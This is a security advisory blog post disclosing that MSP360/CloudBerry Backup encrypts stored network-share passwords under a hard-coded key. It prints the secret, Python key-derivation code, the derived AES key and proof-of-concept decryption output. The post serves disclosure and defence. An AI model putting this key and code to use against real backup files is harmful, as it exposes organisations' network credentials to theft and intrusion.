MSP360 hardcoded encryption keys leading to leaked network credentials
19 Jun 2024 - Proactive Labs
“MSP360™ (previously CloudBerry) Backup for Windows is a cost-effective, flexible, and versatile backup and data restore solution that enables business and private users to automate data protection routines for a number of environments, local and cloud storage destinations.”
~ https://help.msp360.com/cloudberry-backup/overview/intro
The MSP360 Backup Agent
software stores credentials for network shares using a
static key, allowing an attacker with access to a stolen enginesettings.list
file from a backup to obtain network credentials.
This configuration file is backed up to a target, alongside the actual backup data. This can support multiple types of destinations, including Amazon S3. By default, MSP360 managed buckets do not enable directory listing, however users can configure their own backup target, which can be configured to enable directory listing.
If an attacker is able to obtain this enginesettings.list
file, it can be
decrypted using a hard-coded key present in the MSP360 backup software, leading
to credential exposure for internal network assets.
To re-iterate; while buckets are configured on a per-user basis, the hard-coded
key is the same for anyone using the software; if an attacker is able to obtain
a copy of the enginesettings.list
file, they now have credentials for your
configured network shares.
As the vendor did not respond to the disclosure, it is unclear if a patch is forthcoming.
tldr: If you use MSP360 with a vulnerable configuration, rotate your network credentials and reconfigure buckets to no longer be publicly accessible.
Background
MSP360 Backup Agent
is an agent based backup solution supporting Windows /
OSX / Linux, and appears to have been renamed from CloudBerry
in June 2023.
The software appears to have multiple licensing tiers for different use cases,
but ultimately backs up configured sources to destinations; the focus of this
post is Amazon S3, however the vulnerability is destination agnostic.
The software can be remotely administered and viewed through a web application hosted at https://console.msp360.com; however not all editions support this.
When using defaults, the solution will seemingly generate a per-user bucket which is configured to disallow directory listing, and is not the subject of this post.
The software seemingly also allows the usage of arbitrary S3 buckets, which if (mis)configured to allow directory browsing, will upload backups alongside with a configuration file containing encrypted credentials.
These credentials are encrypted with a hard-coded key, allowing an attacker to decrypt sensitive network credentials used by the backup agent, and potentially establish a foothold with in a network.
Versions Affected
The software used was MSP360 Backup Desktop Edition
,
although the functionality appears common in other editions.
We were able to directly observe this in versions 7.8.5.15 (March 2024) and 7.9.4.84 (March 2024), however suspect this is also present in earlier versions.
We had access to an old configuration file, which purportedly came from version 4.5, however the change log does not appear to list versions under 6.3.2 (15-Jul-2020); potentially indicating this issue has likely existed for nearly half a decade.
The versions can be observed at https://help.msp360.com/cloudberry-backup/whats-new.
The software is somewhat confusingly named, previously it appeared to be
CloudBerry Backup for Windows
, however in later editions was renamed to
MSP360 Backup for Windows
, which may explain the lack of version numbers
before a given date in the changelog.
Vulnerable Configuration
For the vulnerability to be exploitable, the MSP360 Backup
software needs to
be configured to back up from an Server Message Block (SMB) share, and to have
credentials configured. In the user interface, this appears as the following:
Configuration Files
The backup configuration can be exported from the application interface using
the Export Configuration
option, which will output a file named
Configuration_$Date$.cbbconfiguration
. Exporting a file at the time of writing
resulted in a file named Configuration_20240604151528.cbbconfiguration
.
These exports are (renamed) ZIP archives, which can be decompressed and will contain files as follows:
enginesettings.list
- An XML blob, starting with
EngineSettings
. - The configuration for our backup software, and of interest to this post.
- An XML blob, starting with
- (GUID.cbb) - i.e.
a55ca7f0-b9e1-4d72-a700-11e1fc2d0ad8.cbb
- A backup plan, in XML and starts with
BasePlan
. - This file is not of interest to this post.
- A backup plan, in XML and starts with
Blobs can be exported from the software using the Export configuration
option,
however the EngineSettings.list
file will generally appear in backup locations
such as Amazon S3, alongside with backup plans.
The Enginesettings.list
file is the focus to this post, and is detailed
in the next section.
Enginesettings.list
The Enginesettings.list
file, partially edited for brevity, is shown below:
<?xml version="1.0" encoding="utf-8"?>
<EngineSettings xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SerializationSupportDefaultRetentionTime>10675199.02:48:05.4775807</SerializationSupportDefaultRetentionTime>
<RetentionDelay>00:00:00</RetentionDelay>
<EngineVersion>7.9.4.84</EngineVersion>
<SerializationSupportHistoryDefaultRetentionTime>10675199.02:48:05.4775807</SerializationSupportHistoryDefaultRetentionTime>
<!-- snip... -->
<MBSFolderPath>MBS-8070d2a1-fc62-4043-9512-8e7593fed4d8</MBSFolderPath>
<Credentials />
<NetworkShares>
<NetworkCredentialsSettings>
<Share>\\localhost\networkshare</Share>
<Login>cloudberry</Login>
<Password>8g5udYDL4ENotWyVoF9AsQ==</Password>
</NetworkCredentialsSettings>
</NetworkShares>
<MaximumSimultaneousTransfers>5</MaximumSimultaneousTransfers>
<Priority>Normal</Priority>
<DefaultRetentionNumberOfHistoryRecords>10000</DefaultRetentionNumberOfHistoryRecords>
<PreventSleepMode>true</PreventSleepMode>
<ContinueOnWakeUp>false</ContinueOnWakeUp>
<RetryAttempts>3</RetryAttempts>
<RetryInterval>400</RetryInterval>
<!-- snip -->
</EngineSettings>
Within the Enginesettings.txt
file, a NetworkCredentialsSettings
element contains
shares used for backup sources, alongside a username (Login
) and Password
field,
which is shown below:
<NetworkShares>
<NetworkCredentialsSettings>
<Share>\\localhost\networkshare</Share>
<Login>cloudberry</Login>
<Password>8g5udYDL4ENotWyVoF9AsQ==</Password>
</NetworkCredentialsSettings>
</NetworkShares>
The Password
field is a base 64 encoded blob, which is encrypted with AES in
ECB mode, as detailed in the next section.
Reverse engineering the algorithm
Network credential settings are handled in the CloudBerryLab.Client.Options.NetworkCredentialsSettings
class,
which is responsible for the deserialization of the NetworkCredentialSettings XML object. Decryption of the password occurs
when the getter for the Password
property is called.
[XmlIgnore]
public string Password
{
get
{
return Settings.Decrypt(PasswordEncrypted);
}
set
{
PasswordEncrypted = Settings.Encrypt(value);
}
}
[XmlElement("Password")]
public string PasswordEncrypted { get; set; }
The Settings.Decrypt
method simply returns an empty string if the Ciphertext is null, otherwise it calls a method
with a per-version obfuscated name such as aUy.s
.
Stepping through the obfuscated call tree, eventually the following method is called.
public static byte[] A(byte[] A_0, string A_1, bool A_2)
{
byte[] result;
using (SymmetricAlgorithm symmetricAlgorithm = aqN.A())
{
byte[] array = A_2 ? symmetricAlgorithm.IV : new byte[16];
ICryptoTransform transform = symmetricAlgorithm.CreateEncryptor(new PasswordDeriveBytes(A_1, null).GetBytes(16), array);
using (MemoryStream memoryStream = new MemoryStream())
{
if (A_2)
{
memoryStream.Write(array, 0, array.Length);
}
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
{
cryptoStream.Write(A_0, 0, A_0.Length);
cryptoStream.FlushFinalBlock();
}
result = memoryStream.ToArray();
}
}
return result;
}
This roughly comes down to the following:
A_0
is the plaintext password to encrypt.A_1
is a hard-coded secret, used with a key derivation function.- The key derivation function PasswordDeriveBytes uses SHA1.
PasswordDeriveBytes
will perform the SHA1 algorithm 100 times.- The output is truncated to 16 bytes and used as an encryption key.
- The algorithm used with
symmetricAlgorithm.CreateEncryptor
is AES in ECB mode
The hard coded secret is set as a property of the obfuscated class, which in this case is aUy.Dyl
. The secret is consistent across every version we’ve reviewed.
private const string Dyl = "9B80F6F2-BEF9-4C7F-8708-9932B806A5C4";
The following python function implements the PasswordDeriveBytes
method from DotNet, enabling us to recover the real
AES key in use.
def dotnet_password_derive_bytes_no_salt(password, length, count):
iter_hash = hashlib.sha1(password).digest()
count -= 1
for i in range(count-1):
iter_hash = hashlib.sha1(iter_hash).digest()
done_bytes = hashlib.sha1(iter_hash).digest()
return(done_bytes[:length])
CLOUDBERRY_AES_KEY = dotnet_password_derive_bytes_no_salt(b'9B80F6F2-BEF9-4C7F-8708-9932B806A5C4', 16, 100)
The hard-coded key for all instances is U9Ebzxlhs2bk++uBub+5SA==
.
Proof of Concept
A proof of concept is available on our GitHub.
The proof of concept will enumerate and decrypt all Password
elements
within a NetworkCredentialsSettings
block, although the CBLPassword
field also appears to be encrypted with the same key.
Running the decryption returns the following result:
poc@pentest ~/cloudberry-decrypt $ python main.py enginesettings.list
\\localhost\networkshare cloudberry 0vagrant
This can also be performed in CyberChef.
Mitigations?
At time of writing, there does not appear to be a configuration option to disable
the backing up of NetworkCredentialsSettings
. A configuration option for “Encryption”
did not appear to effect the storage of NetworkCredentialsSettings
.
At time of writing, the best mitigation appears to be to not use this configuration option, and instead rely on running the service with an identity which can authenticate to other services natively (i.e. a service account in Active Directory).
Vendor Response / Timelines
- 2024-06-04 - Proactive Labs contact MSP360 to coordinate disclosure over email
- 2024-06-04 - Vendor Response asking for initial details
- 2024-06-04 - Proactive Labs provided initial write-up
- 2024-06-05 - Follow up for initial thoughts from MSP360
- 2024-06-17 - Follow up with MSP360, get auto-reply stating ticket has been closed
- 2024-06-19 - Write-up released